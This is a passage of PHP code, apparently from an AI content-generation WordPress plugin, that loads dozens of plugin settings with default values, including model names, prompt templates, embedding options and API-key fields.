(isset($aiomatic_Main_Settings['ai_writer_tags_prompt'])) { $ai_writer_tags_prompt = $aiomatic_Main_Settings['ai_writer_tags_prompt']; } else { $ai_writer_tags_prompt = 'Suggest a series of pertinent keywords in English for your WordPress %%post_type%%: "%%post_title_idea%%". These keywords should be closely connected to the %%post_type%%, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.'; } if (isset($aiomatic_Main_Settings['deepl_auth'])) { $deepl_auth = $aiomatic_Main_Settings['deepl_auth']; } else { $deepl_auth = ''; } if (isset($aiomatic_Main_Settings['deppl_free'])) { $deppl_free = $aiomatic_Main_Settings['deppl_free']; } else { $deppl_free = ''; } if (isset($aiomatic_Main_Settings['bing_auth'])) { $bing_auth = $aiomatic_Main_Settings['bing_auth']; } else { $bing_auth = ''; } if (isset($aiomatic_Main_Settings['bing_region'])) { $bing_region = $aiomatic_Main_Settings['bing_region']; } else { $bing_region = ''; } if (isset($aiomatic_Main_Settings['video_cfg_scale'])) { $video_cfg_scale = $aiomatic_Main_Settings['video_cfg_scale']; } else { $video_cfg_scale = ''; } if (isset($aiomatic_Main_Settings['cfg_seed'])) { $cfg_seed = $aiomatic_Main_Settings['cfg_seed']; } else { $cfg_seed = ''; } if (isset($aiomatic_Main_Settings['motion_bucket_id'])) { $motion_bucket_id = $aiomatic_Main_Settings['motion_bucket_id']; } else { $motion_bucket_id = ''; } if (isset($aiomatic_Main_Settings['kw_prompt'])) { $kw_prompt = $aiomatic_Main_Settings['kw_prompt']; } else { $kw_prompt = 'Extract a comma-separated list of the most relevant single word keywords from the text, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. The text is: \"%%content%%\".'; } if (isset($aiomatic_Main_Settings['kw_model'])) { $kw_model = $aiomatic_Main_Settings['kw_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['player_width'])) { $player_width = $aiomatic_Main_Settings['player_width']; } else { $player_width = ''; } if (isset($aiomatic_Main_Settings['global_req_words'])) { $global_req_words = $aiomatic_Main_Settings['global_req_words']; } else { $global_req_words = ''; } if (isset($aiomatic_Main_Settings['require_only_one'])) { $require_only_one = $aiomatic_Main_Settings['require_only_one']; } else { $require_only_one = ''; } if (isset($aiomatic_Main_Settings['global_ban_words'])) { $global_ban_words = $aiomatic_Main_Settings['global_ban_words']; } else { $global_ban_words = ''; } if (isset($aiomatic_Main_Settings['email_notification'])) { $email_notification = $aiomatic_Main_Settings['email_notification']; } else { $email_notification = ''; } if (isset($aiomatic_Main_Settings['image_ai_prompt'])) { $image_ai_prompt = $aiomatic_Main_Settings['image_ai_prompt']; } else { $image_ai_prompt = ''; } if (isset($aiomatic_Main_Settings['image_ai_model'])) { $image_ai_model = $aiomatic_Main_Settings['image_ai_model']; } else { $image_ai_model = ''; } if (isset($aiomatic_Main_Settings['img_assistant_id'])) { $img_assistant_id = $aiomatic_Main_Settings['img_assistant_id']; } else { $img_assistant_id = ''; } if (isset($aiomatic_Main_Settings['use_image_ai'])) { $use_image_ai = $aiomatic_Main_Settings['use_image_ai']; } else { $use_image_ai = ''; } if (isset($aiomatic_Main_Settings['gpt35_context_limit'])) { $gpt35_context_limit = $aiomatic_Main_Settings['gpt35_context_limit']; } else { $gpt35_context_limit = ''; } if (isset($aiomatic_Main_Settings['claude_context_limit'])) { $claude_context_limit = $aiomatic_Main_Settings['claude_context_limit']; } else { $claude_context_limit = ''; } if (isset($aiomatic_Main_Settings['claude_context_limit_200k'])) { $claude_context_limit_200k = $aiomatic_Main_Settings['claude_context_limit_200k']; } else { $claude_context_limit_200k = ''; } if (isset($aiomatic_Main_Settings['assist_max_prompt_token'])) { $assist_max_prompt_token = $aiomatic_Main_Settings['assist_max_prompt_token']; } else { $assist_max_prompt_token = ''; } if (isset($aiomatic_Main_Settings['assist_max_completion_token'])) { $assist_max_completion_token = $aiomatic_Main_Settings['assist_max_completion_token']; } else { $assist_max_completion_token = ''; } if (isset($aiomatic_Main_Settings['gpt4_context_limit'])) { $gpt4_context_limit = $aiomatic_Main_Settings['gpt4_context_limit']; } else { $gpt4_context_limit = ''; } if (isset($aiomatic_Main_Settings['variable_list'])) { $variable_list = $aiomatic_Main_Settings['variable_list']; } else { $variable_list = ''; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $enable_detailed_logging = $aiomatic_Main_Settings['enable_detailed_logging']; } else { $enable_detailed_logging = ''; } if (isset($aiomatic_Main_Settings['proxy_url'])) { $proxy_url = $aiomatic_Main_Settings['proxy_url']; } else { $proxy_url = ''; } if (isset($aiomatic_Main_Settings['proxy_auth'])) { $proxy_auth = $aiomatic_Main_Settings['proxy_auth']; } else { $proxy_auth = ''; } if (isset($aiomatic_Main_Settings['proxy_ai'])) { $proxy_ai = $aiomatic_Main_Settings['proxy_ai']; } else { $proxy_ai = ''; } if (isset($aiomatic_Main_Settings['run_before'])) { $run_before = $aiomatic_Main_Settings['run_before']; } else { $run_before = ''; } if (isset($aiomatic_Main_Settings['run_after'])) { $run_after = $aiomatic_Main_Settings['run_after']; } else { $run_after = ''; } if (isset($aiomatic_Main_Settings['kw_lang'])) { $kw_lang = $aiomatic_Main_Settings['kw_lang']; } else { $kw_lang = ''; } if (isset($aiomatic_Main_Settings['kw_method'])) { $kw_method = $aiomatic_Main_Settings['kw_method']; } else { $kw_method = 'builtin'; } if (isset($aiomatic_Main_Settings['max_len'])) { $max_len = $aiomatic_Main_Settings['max_len']; } else { $max_len = ''; } if (isset($aiomatic_Main_Settings['ai_image_size'])) { $ai_image_size = $aiomatic_Main_Settings['ai_image_size']; } else { $ai_image_size = '512x512'; } if (isset($aiomatic_Main_Settings['ai_image_model'])) { $ai_image_model = $aiomatic_Main_Settings['ai_image_model']; } else { $ai_image_model = 'dalle2'; } if (isset($aiomatic_Main_Settings['back_color'])) { $back_color = $aiomatic_Main_Settings['back_color']; } else { $back_color = '#ffffff'; } if (isset($aiomatic_Main_Settings['form_placeholder'])) { $form_placeholder = $aiomatic_Main_Settings['form_placeholder']; } else { $form_placeholder = 'AI Result'; } if (isset($aiomatic_Main_Settings['submit_location'])) { $submit_location = $aiomatic_Main_Settings['submit_location']; } else { $submit_location = '1'; } if (isset($aiomatic_Main_Settings['submit_align'])) { $submit_align = $aiomatic_Main_Settings['submit_align']; } else { $submit_align = '1'; } if (isset($aiomatic_Main_Settings['show_advanced'])) { $show_advanced = $aiomatic_Main_Settings['show_advanced']; } else { $show_advanced = ''; } if (isset($aiomatic_Main_Settings['show_rich_editor'])) { $show_rich_editor = $aiomatic_Main_Settings['show_rich_editor']; } else { $show_rich_editor = ''; } if (isset($aiomatic_Main_Settings['enable_copy'])) { $enable_copy = $aiomatic_Main_Settings['enable_copy']; } else { $enable_copy = ''; } if (isset($aiomatic_Main_Settings['enable_download'])) { $enable_download = $aiomatic_Main_Settings['enable_download']; } else { $enable_download = ''; } if (isset($aiomatic_Main_Settings['enable_char_count'])) { $enable_char_count = $aiomatic_Main_Settings['enable_char_count']; } else { $enable_char_count = ''; } if (isset($aiomatic_Main_Settings['text_color'])) { $text_color = $aiomatic_Main_Settings['text_color']; } else { $text_color = '#000000'; } if (isset($aiomatic_Main_Settings['btext_color'])) { $btext_color = $aiomatic_Main_Settings['btext_color']; } else { $btext_color = '#ffffff;'; } if (isset($aiomatic_Main_Settings['aicontent_model'])) { $aicontent_model = $aiomatic_Main_Settings['aicontent_model']; } else { $aicontent_model = ''; } if (isset($aiomatic_Main_Settings['aicontent_assistant_id'])) { $aicontent_assistant_id = $aiomatic_Main_Settings['aicontent_assistant_id']; } else { $aicontent_assistant_id = ''; } if (isset($aiomatic_Main_Settings['tax_description_model'])) { $tax_description_model = $aiomatic_Main_Settings['tax_description_model']; } else { $tax_description_model = ''; } if (isset($aiomatic_Main_Settings['tax_assistant_id'])) { $tax_assistant_id = $aiomatic_Main_Settings['tax_assistant_id']; } else { $tax_assistant_id = ''; } if (isset($aiomatic_Main_Settings['enable_wpcli'])) { $enable_wpcli = $aiomatic_Main_Settings['enable_wpcli']; } else { $enable_wpcli = ''; } if (isset($aiomatic_Main_Settings['rest_api_init'])) { $rest_api_init = $aiomatic_Main_Settings['rest_api_init']; } else { $rest_api_init = ''; } if (isset($aiomatic_Main_Settings['rest_api_keys'])) { $rest_api_keys = $aiomatic_Main_Settings['rest_api_keys']; } else { $rest_api_keys = ''; } if (isset($aiomatic_Main_Settings['tax_description_prompt'])) { $tax_description_prompt = $aiomatic_Main_Settings['tax_description_prompt']; } else { $tax_description_prompt = 'Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"'; } if (isset($aiomatic_Main_Settings['aicontent_temperature'])) { $aicontent_temperature = $aiomatic_Main_Settings['aicontent_temperature']; } else { $aicontent_temperature = '1'; } if (isset($aiomatic_Main_Settings['aicontent_top_p'])) { $aicontent_top_p = $aiomatic_Main_Settings['aicontent_top_p']; } else { $aicontent_top_p = '1'; } if (isset($aiomatic_Main_Settings['aicontent_presence_penalty'])) { $aicontent_presence_penalty = $aiomatic_Main_Settings['aicontent_presence_penalty']; } else { $aicontent_presence_penalty = '0'; } if (isset($aiomatic_Main_Settings['aicontent_frequency_penalty'])) { $aicontent_frequency_penalty = $aiomatic_Main_Settings['aicontent_frequency_penalty']; } else { $aicontent_frequency_penalty = '0'; } if (isset($aiomatic_Main_Settings['comment_model'])) { $comment_model = $aiomatic_Main_Settings['comment_model']; } else { $comment_model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['tax_description_auto'])) { $tax_description_auto = $aiomatic_Main_Settings['tax_description_auto']; } else { $tax_description_auto = array(); } if (isset($aiomatic_Main_Settings['tax_description_manual'])) { $tax_description_manual = $aiomatic_Main_Settings['tax_description_manual']; } else { $tax_description_manual = array(); } if (isset($aiomatic_Main_Settings['max_tax_nr'])) { $max_tax_nr = $aiomatic_Main_Settings['max_tax_nr']; } else { $max_tax_nr = array(); } if (isset($aiomatic_Main_Settings['overwite_tax'])) { $overwite_tax = $aiomatic_Main_Settings['overwite_tax']; } else { $overwite_tax = array(); } if (isset($aiomatic_Main_Settings['tax_seo_auto'])) { $tax_seo_auto = $aiomatic_Main_Settings['tax_seo_auto']; } else { $tax_seo_auto = 'off'; } if (isset($aiomatic_Main_Settings['tax_seo_description_model'])) { $tax_seo_description_model = $aiomatic_Main_Settings['tax_seo_description_model']; } else { $tax_seo_description_model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['tax_seo_assistant_id'])) { $tax_seo_assistant_id = $aiomatic_Main_Settings['tax_seo_assistant_id']; } else { $tax_seo_assistant_id = ''; } if (isset($aiomatic_Main_Settings['tax_seo_description_prompt'])) { $tax_seo_description_prompt = $aiomatic_Main_Settings['tax_seo_description_prompt']; } else { $tax_seo_description_prompt = 'Write a SEO friendly short description (maximum 30 words) for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"'; } if (isset($aiomatic_Main_Settings['comment_prompt'])) { $comment_prompt = $aiomatic_Main_Settings['comment_prompt']; } else { $comment_prompt = 'Write a reply for %%username%%\'s comment on the post titled "%%post_title%%". The user\'s comment is: %%comment%%'; } if (isset($aiomatic_Main_Settings['comment_assistant_id'])) { $comment_assistant_id = $aiomatic_Main_Settings['comment_assistant_id']; } else { $comment_assistant_id = ''; } if (isset($aiomatic_Main_Settings['but_color'])) { $but_color = $aiomatic_Main_Settings['but_color']; } else { $but_color = '#424242;'; } if (isset($aiomatic_Main_Settings['min_len'])) { $min_len = $aiomatic_Main_Settings['min_len']; } else { $min_len = ''; } if (isset($aiomatic_Main_Settings['embeddings_model'])) { $embeddings_model = $aiomatic_Main_Settings['embeddings_model']; } else { $embeddings_model = ''; } if (isset($aiomatic_Main_Settings['pinecone_index'])) { $pinecone_index = $aiomatic_Main_Settings['pinecone_index']; } else { $pinecone_index = ''; } if (isset($aiomatic_Main_Settings['pinecone_namespace'])) { $pinecone_namespace = $aiomatic_Main_Settings['pinecone_namespace']; } else { $pinecone_namespace = ''; } if (isset($aiomatic_Main_Settings['qdrant_index'])) { $qdrant_index = $aiomatic_Main_Settings['qdrant_index']; } else { $qdrant_index = ''; } if (isset($aiomatic_Main_Settings['qdrant_name'])) { $qdrant_name = $aiomatic_Main_Settings['qdrant_name']; } else { $qdrant_name = ''; } if (isset($aiomatic_Main_Settings['pinecone_topk'])) { $pinecone_topk = $aiomatic_Main_Settings['pinecone_topk']; } else { $pinecone_topk = ''; } if (isset($aiomatic_Main_Settings['embeddings_single'])) { $embeddings_single = $aiomatic_Main_Settings['embeddings_single']; } else { $embeddings_single = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk'])) { $embeddings_bulk = $aiomatic_Main_Settings['embeddings_bulk']; } else { $embeddings_bulk = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_title'])) { $embeddings_bulk_title = $aiomatic_Main_Settings['embeddings_bulk_title']; } else { $embeddings_bulk_title = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_sections'])) { $embeddings_bulk_sections = $aiomatic_Main_Settings['embeddings_bulk_sections']; } else { $embeddings_bulk_sections = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_intro'])) { $embeddings_bulk_intro = $aiomatic_Main_Settings['embeddings_bulk_intro']; } else { $embeddings_bulk_intro = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_content'])) { $embeddings_bulk_content = $aiomatic_Main_Settings['embeddings_bulk_content']; } else { $embeddings_bulk_content = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_qa'])) { $embeddings_bulk_qa = $aiomatic_Main_Settings['embeddings_bulk_qa']; } else { $embeddings_bulk_qa = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_outro'])) { $embeddings_bulk_outro = $aiomatic_Main_Settings['embeddings_bulk_outro']; } else { $embeddings_bulk_outro = ''; } if (isset($aiomatic_Main_Settings['embeddings_bulk_excerpt'])) { $embeddings_bulk_excerpt = $aiomatic_Main_Settings['embeddings_bulk_excerpt']; } else { $embeddings_bulk_excerpt = ''; } if (isset($aiomatic_Main_Settings['embeddings_edit'])) { $embeddings_edit = $aiomatic_Main_Settings['embeddings_edit']; } else { $embeddings_edit = ''; } if (isset($aiomatic_Main_Settings['embeddings_chat_short'])) { $embeddings_chat_short = $aiomatic_Main_Settings['embeddings_chat_short']; } else { $embeddings_chat_short = ''; } if (isset($aiomatic_Main_Settings['embeddings_article_short'])) { $embeddings_article_short = $aiomatic_Main_Settings['embeddings_article_short']; } else { $embeddings_article_short = ''; } if (isset($aiomatic_Main_Settings['embeddings_edit_short'])) { $embeddings_edit_short = $aiomatic_Main_Settings['embeddings_edit_short']; } else { $embeddings_edit_short = ''; } if (isset($aiomatic_Main_Settings['embeddings_related'])) { $embeddings_related = $aiomatic_Main_Settings['embeddings_related']; } else { $embeddings_related = ''; } if (isset($aiomatic_Main_Settings['embeddings_assistant'])) { $embeddings_assistant = $aiomatic_Main_Settings['embeddings_assistant']; } else { $embeddings_assistant = ''; } if (isset($aiomatic_Main_Settings['internet_single'])) { $internet_single = $aiomatic_Main_Settings['internet_single']; } else { $internet_single = ''; } if (isset($aiomatic_Main_Settings['internet_bulk'])) { $internet_bulk = $aiomatic_Main_Settings['internet_bulk']; } else { $internet_bulk = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_title'])) { $internet_bulk_title = $aiomatic_Main_Settings['internet_bulk_title']; } else { $internet_bulk_title = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_sections'])) { $internet_bulk_sections = $aiomatic_Main_Settings['internet_bulk_sections']; } else { $internet_bulk_sections = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_intro'])) { $internet_bulk_intro = $aiomatic_Main_Settings['internet_bulk_intro']; } else { $internet_bulk_intro = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_content'])) { $internet_bulk_content = $aiomatic_Main_Settings['internet_bulk_content']; } else { $internet_bulk_content = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_qa'])) { $internet_bulk_qa = $aiomatic_Main_Settings['internet_bulk_qa']; } else { $internet_bulk_qa = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_outro'])) { $internet_bulk_outro = $aiomatic_Main_Settings['internet_bulk_outro']; } else { $internet_bulk_outro = ''; } if (isset($aiomatic_Main_Settings['internet_bulk_excerpt'])) { $internet_bulk_excerpt = $aiomatic_Main_Settings['internet_bulk_excerpt']; } else { $internet_bulk_excerpt = ''; } if (isset($aiomatic_Main_Settings['internet_prompt'])) { $internet_prompt = $aiomatic_Main_Settings['internet_prompt']; } else { $internet_prompt = ''; } if (isset($aiomatic_Main_Settings['index_types'])) { $index_types = $aiomatic_Main_Settings['index_types']; } else { $index_types = array(); } if (isset($aiomatic_Main_Settings['rewrite_embedding'])) { $rewrite_embedding = $aiomatic_Main_Settings['rewrite_embedding']; } else { $rewrite_embedding = array(); } if (isset($aiomatic_Main_Settings['embedding_template'])) { $embedding_template = $aiomatic_Main_Settings['embedding_template']; } else { $embedding_template = '%%post_title%% %%post_excerpt%% Read more at: %%post_url%%'; } if (isset($aiomatic_Main_Settings['embedding_rw_prompt'])) { $embedding_rw_prompt = $aiomatic_Main_Settings['embedding_rw_prompt']; } else { $embedding_rw_prompt = 'Rewrite the given content concisely, preserving its style and information, while ensuring the rewritten text stays within 300 words. Each paragraph should range between 60 to 120 words. Exclude non-textual elements and unnecessary repetition. Conclude with a statement directing readers to find more information at %%post_url%%. If these guidelines cannot be met, send an empty response. The content is as follows: %%post_content%%'; } if (isset($aiomatic_Main_Settings['embedding_rw_model'])) { $embedding_rw_model = $aiomatic_Main_Settings['embedding_rw_model']; } else { $embedding_rw_model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['emb_assistant_id'])) { $emb_assistant_id = $aiomatic_Main_Settings['emb_assistant_id']; } else { $emb_assistant_id = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['internet_single_template'])) { $internet_single_template = $aiomatic_Main_Settings['internet_single_template']; } else { $internet_single_template = ''; } if (isset($aiomatic_Main_Settings['keyword_extractor_prompt'])) { $keyword_extractor_prompt = $aiomatic_Main_Settings['keyword_extractor_prompt']; } else { $keyword_extractor_prompt = ''; } if (isset($aiomatic_Main_Settings['internet_gl'])) { $internet_gl = $aiomatic_Main_Settings['internet_gl']; } else { $internet_gl = ''; } if (isset($aiomatic_Main_Settings['internet_model'])) { $internet_model = $aiomatic_Main_Settings['internet_model']; } else { $internet_model = ''; } if (isset($aiomatic_Main_Settings['internet_assistant_id'])) { $internet_assistant_id = $aiomatic_Main_Settings['internet_assistant_id']; } else { $internet_assistant_id = ''; } if (isset($aiomatic_Main_Settings['results_num'])) { $results_num = $aiomatic_Main_Settings['results_num']; } else { $results_num = ''; } if (isset($aiomatic_Main_Settings['internet_edit'])) { $internet_edit = $aiomatic_Main_Settings['internet_edit']; } else { $internet_edit = ''; } if (isset($aiomatic_Main_Settings['internet_chat_short'])) { $internet_chat_short = $aiomatic_Main_Settings['internet_chat_short']; } else { $internet_chat_short = ''; } if (isset($aiomatic_Main_Settings['internet_article_short'])) { $internet_article_short = $aiomatic_Main_Settings['internet_article_short']; } else { $internet_article_short = ''; } if (isset($aiomatic_Main_Settings['internet_edit_short'])) { $internet_edit_short = $aiomatic_Main_Settings['internet_edit_short']; } else { $internet_edit_short = ''; } if (isset($aiomatic_Main_Settings['internet_related'])) { $internet_related = $aiomatic_Main_Settings['internet_related']; } else { $internet_related = ''; } if (isset($aiomatic_Main_Settings['internet_assistant'])) { $internet_assistant = $aiomatic_Main_Settings['internet_assistant']; } else { $internet_assistant = ''; } if (isset($aiomatic_Main_Settings['internet_forms'])) { $internet_forms = $aiomatic_Main_Settings['internet_forms']; } else { $internet_forms = ''; } if (isset($aiomatic_Main_Settings['internet_omni'])) { $internet_omni = $aiomatic_Main_Settings['internet_omni']; } else { $internet_omni = ''; } if (isset($aiomatic_Main_Settings['embeddings_forms'])) { $embeddings_forms = $aiomatic_Main_Settings['embeddings_forms']; } else { $embeddings_forms = ''; } if (isset($aiomatic_Main_Settings['embeddings_omni'])) { $embeddings_omni = $aiomatic_Main_Settings['embeddings_omni']; } else { $embeddings_omni = ''; } if (isset($aiomatic_Main_Settings['do_not_check_duplicates'])) { $do_not_check_duplicates = $aiomatic_Main_Settings['do_not_check_duplicates']; } else { $do_not_check_duplicates = ''; } if (isset($aiomatic_Main_Settings['no_random_titles'])) { $no_random_titles = $aiomatic_Main_Settings['no_random_titles']; } else { $no_random_titles = ''; } if (isset($aiomatic_Main_Settings['draft_first'])) { $draft_first = $aiomatic_Main_Settings['draft_first']; } else { $draft_first = ''; } if (isset($aiomatic_Main_Settings['alternate_continue'])) { $alternate_continue = $aiomatic_Main_Settings['alternate_continue']; } else { $alternate_continue = ''; } if (isset($aiomatic_Main_Settings['whole_prompt'])) { $whole_prompt = $aiomatic_Main_Settings['whole_prompt']; } else { $whole_prompt = ''; } if (isset($aiomatic_Main_Settings['external_products'])) { $external_products = $aiomatic_Main_Settings['external_products']; } else { $external_products = ''; } if (isset($aiomatic_Main_Settings['continue_prepend'])) { $continue_prepend = $aiomatic_Main_Settings['continue_prepend']; } else { $continue_prepend = ''; } if (isset($aiomatic_Main_Settings['continue_append'])) { $continue_append = $aiomatic_Main_Settings['continue_append']; } else { $continue_append = ''; } if (isset($aiomatic_Main_Settings['no_max'])) { $no_max = $aiomatic_Main_Settings['no_max']; } else { $no_max = ''; } if (isset($aiomatic_Main_Settings['no_jobs'])) { $no_jobs = $aiomatic_Main_Settings['no_jobs']; } else { $no_jobs = ''; } if (isset($aiomatic_Main_Settings['not_important'])) { $not_important = $aiomatic_Main_Settings['not_important']; } else { $not_important = ''; } if (isset($aiomatic_Main_Settings['bing_off'])) { $bing_off = $aiomatic_Main_Settings['bing_off']; } else { $bing_off = ''; } if (isset($aiomatic_Main_Settings['markdown_parse'])) { $markdown_parse = $aiomatic_Main_Settings['markdown_parse']; } else { $markdown_parse = ''; } if (isset($aiomatic_Main_Settings['nlbr_parse'])) { $nlbr_parse = $aiomatic_Main_Settings['nlbr_parse']; } else { $nlbr_parse = ''; } if (isset($aiomatic_Main_Settings['ai_off'])) { $ai_off = $aiomatic_Main_Settings['ai_off']; } else { $ai_off = ''; } if (isset($aiomatic_Main_Settings['pre_code_off'])) { $pre_code_off = $aiomatic_Main_Settings['pre_code_off']; } else { $pre_code_off = ''; } if (isset($aiomatic_Main_Settings['max_retry'])) { $max_retry = $aiomatic_Main_Settings['max_retry']; } else { $max_retry = ''; } if (isset($aiomatic_Main_Settings['max_chat_retry'])) { $max_chat_retry = $aiomatic_Main_Settings['max_chat_retry']; } else { $max_chat_retry = ''; } if (isset($aiomatic_Main_Settings['max_timeout'])) { $max_timeout = $aiomatic_Main_Settings['max_timeout']; } else { $max_timeout = ''; } if (isset($aiomatic_Main_Settings['enable_logging'])) { $enable_logging = $aiomatic_Main_Settings['enable_logging']; } else { $enable_logging = ''; } if (isset($aiomatic_Main_Settings['enable_tracking'])) { $enable_tracking = $aiomatic_Main_Settings['enable_tracking']; } else { $enable_tracking = ''; } if (isset($aiomatic_Main_Settings['assistant_placement'])) { $assistant_placement = $aiomatic_Main_Settings['assistant_placement']; } else { $assistant_placement = ''; } if (isset($aiomatic_Main_Settings['assistant_disable'])) { $assistant_disable = $aiomatic_Main_Settings['assistant_disable']; } else { $assistant_disable = ''; } if (isset($aiomatic_Main_Settings['assistant_not_logged'])) { $assistant_not_logged = $aiomatic_Main_Settings['assistant_not_logged']; } else { $assistant_not_logged = ''; } if (isset($aiomatic_Main_Settings['assistant_image_size'])) { $assistant_image_size = $aiomatic_Main_Settings['assistant_image_size']; } else { $assistant_image_size = ''; } if (isset($aiomatic_Main_Settings['assistant_image_model'])) { $assistant_image_model = $aiomatic_Main_Settings['assistant_image_model']; } else { $assistant_image_model = ''; } if (isset($aiomatic_Main_Settings['assistant_temperature'])) { $assistant_temperature = $aiomatic_Main_Settings['assistant_temperature']; } else { $assistant_temperature = ''; } if (isset($aiomatic_Main_Settings['assistant_top_p'])) { $assistant_top_p = $aiomatic_Main_Settings['assistant_top_p']; } else { $assistant_top_p = ''; } if (isset($aiomatic_Main_Settings['assistant_ppenalty'])) { $assistant_ppenalty = $aiomatic_Main_Settings['assistant_ppenalty']; } else { $assistant_ppenalty = ''; } if (isset($aiomatic_Main_Settings['assistant_fpenalty'])) { $assistant_fpenalty = $aiomatic_Main_Settings['assistant_fpenalty']; } else { $assistant_fpenalty = ''; } if (isset($aiomatic_Main_Settings['assistant_model'])) { $assistant_model = $aiomatic_Main_Settings['assistant_model']; } else { $assistant_model = ''; } if (isset($aiomatic_Main_Settings['wizard_assistant_id'])) { $wizard_assistant_id = $aiomatic_Main_Settings['wizard_assistant_id']; } else { $wizard_assistant_id = ''; } if (isset($aiomatic_Main_Settings['rel_search'])) { $rel_search = $aiomatic_Main_Settings['rel_search']; } else { $rel_search = array(); } if (isset($aiomatic_Main_Settings['app_id'])) { $app_id = $aiomatic_Main_Settings['app_id']; } else { $app_id = ''; } if (isset($aiomatic_Main_Settings['stability_app_id'])) { $stability_app_id = $aiomatic_Main_Settings['stability_app_id']; } else { $stability_app_id = ''; } if (isset($aiomatic_Main_Settings['midjourney_app_id'])) { $midjourney_app_id = $aiomatic_Main_Settings['midjourney_app_id']; } else { $midjourney_app_id = ''; } if (isset($aiomatic_Main_Settings['headlessbrowserapi_key'])) { $headlessbrowserapi_key = $aiomatic_Main_Settings['headlessbrowserapi_key']; } else { $headlessbrowserapi_key = ''; } if (isset($aiomatic_Main_Settings['phantom_path'])) { $phantom_path = $aiomatic_Main_Settings['phantom_path']; } else { $phantom_path = ''; } if (isset($aiomatic_Main_Settings['phantom_timeout'])) { $phantom_timeout = $aiomatic_Main_Settings['phantom_timeout']; } else { $phantom_timeout = ''; } if (isset($aiomatic_Main_Settings['multi_separator'])) { $multi_separator = $aiomatic_Main_Settings['multi_separator']; } else { $multi_separator = ''; } if (isset($aiomatic_Main_Settings['azure_endpoint'])) { $azure_endpoint = $aiomatic_Main_Settings['azure_endpoint']; } else { $azure_endpoint = ''; } if (isset($aiomatic_Main_Settings['app_id_claude'])) { $app_id_claude = $aiomatic_Main_Settings['app_id_claude']; } else { $app_id_claude = ''; } if (isset($aiomatic_Main_Settings['openai_organization'])) { $openai_organization = $aiomatic_Main_Settings['openai_organization']; } else { $openai_organization = ''; } if (isset($aiomatic_Main_Settings['app_id_google'])) { $app_id_google = $aiomatic_Main_Settings['app_id_google']; } else { $app_id_google = ''; } if (isset($aiomatic_Main_Settings['app_id_openrouter'])) { $app_id_openrouter = $aiomatic_Main_Settings['app_id_openrouter']; } else { $app_id_openrouter = ''; } if (isset($aiomatic_Main_Settings['app_id_huggingface'])) { $app_id_huggingface = $aiomatic_Main_Settings['app_id_huggingface']; } else { $app_id_huggingface = ''; } if (isset($aiomatic_Main_Settings['ollama_url'])) { $ollama_url = $aiomatic_Main_Settings['ollama_url']; } else { $ollama_url = ''; } if (isset($aiomatic_Main_Settings['app_id_perplexity'])) { $app_id_perplexity = $aiomatic_Main_Settings['app_id_perplexity']; } else { $app_id_perplexity = ''; } if (isset($aiomatic_Main_Settings['multiple_key'])) { $multiple_key = $aiomatic_Main_Settings['multiple_key']; } else { $multiple_key = ''; } if (isset($aiomatic_Main_Settings['pinecone_app_id'])) { $pinecone_app_id = $aiomatic_Main_Settings['pinecone_app_id']; } else { $pinecone_app_id = ''; } if (isset($aiomatic_Main_Settings['qdrant_app_id'])) { $qdrant_app_id = $aiomatic_Main_Settings['qdrant_app_id']; } else { $qdrant_app_id = ''; } if (isset($aiomatic_Main_Settings['embeddings_api'])) { $embeddings_api = $aiomatic_Main_Settings['embeddings_api']; } else { $embeddings_api = ''; } if (isset($aiomatic_Main_Settings['elevenlabs_app_id'])) { $elevenlabs_app_id = $aiomatic_Main_Settings['elevenlabs_app_id']; } else { $elevenlabs_app_id = ''; } if (isset($aiomatic_Main_Settings['google_app_id'])) { $google_app_id = $aiomatic_Main_Settings['google_app_id']; } else { $google_app_id = ''; } if (isset($aiomatic_Main_Settings['did_app_id'])) { $did_app_id = $aiomatic_Main_Settings['did_app_id']; } else { $did_app_id = ''; } if (isset($aiomatic_Main_Settings['api_selector'])) { $api_selector = $aiomatic_Main_Settings['api_selector']; } else { $api_selector = 'openai'; } if (isset($aiomatic_Main_Settings['steps'])) { $steps = $aiomatic_Main_Settings['steps']; } else { $steps = ''; } if (isset($aiomatic_Main_Settings['cfg_scale'])) { $cfg_scale = $aiomatic_Main_Settings['cfg_scale']; } else { $cfg_scale = ''; } if (isset($aiomatic_Main_Settings['clip_guidance_preset'])) { $clip_guidance_preset = $aiomatic_Main_Settings['clip_guidance_preset']; } else { $clip_guidance_preset = ''; } if (isset($aiomatic_Main_Settings['clip_style_preset'])) { $clip_style_preset = $aiomatic_Main_Settings['clip_style_preset']; } else { $clip_style_preset = ''; } if (isset($aiomatic_Main_Settings['stable_model'])) { $stable_model = $aiomatic_Main_Settings['stable_model']; } else { $stable_model = ''; } if (isset($aiomatic_Main_Settings['sampler'])) { $sampler = $aiomatic_Main_Settings['sampler']; } else { $sampler = ''; } if (isset($aiomatic_Main_Settings['auto_clear_logs'])) { $auto_clear_logs = $aiomatic_Main_Settings['auto_clear_logs']; } else { $auto_clear_logs = ''; } if (isset($aiomatic_Main_Settings['rule_timeout'])) { $rule_timeout = $aiomatic_Main_Settings['rule_timeout']; } else { $rule_timeout = ''; } if (isset($aiomatic_Main_Settings['send_email'])) { $send_email = $aiomatic_Main_Settings['send_email']; } else { $send_email = ''; } if (isset($aiomatic_Main_Settings['email_address'])) { 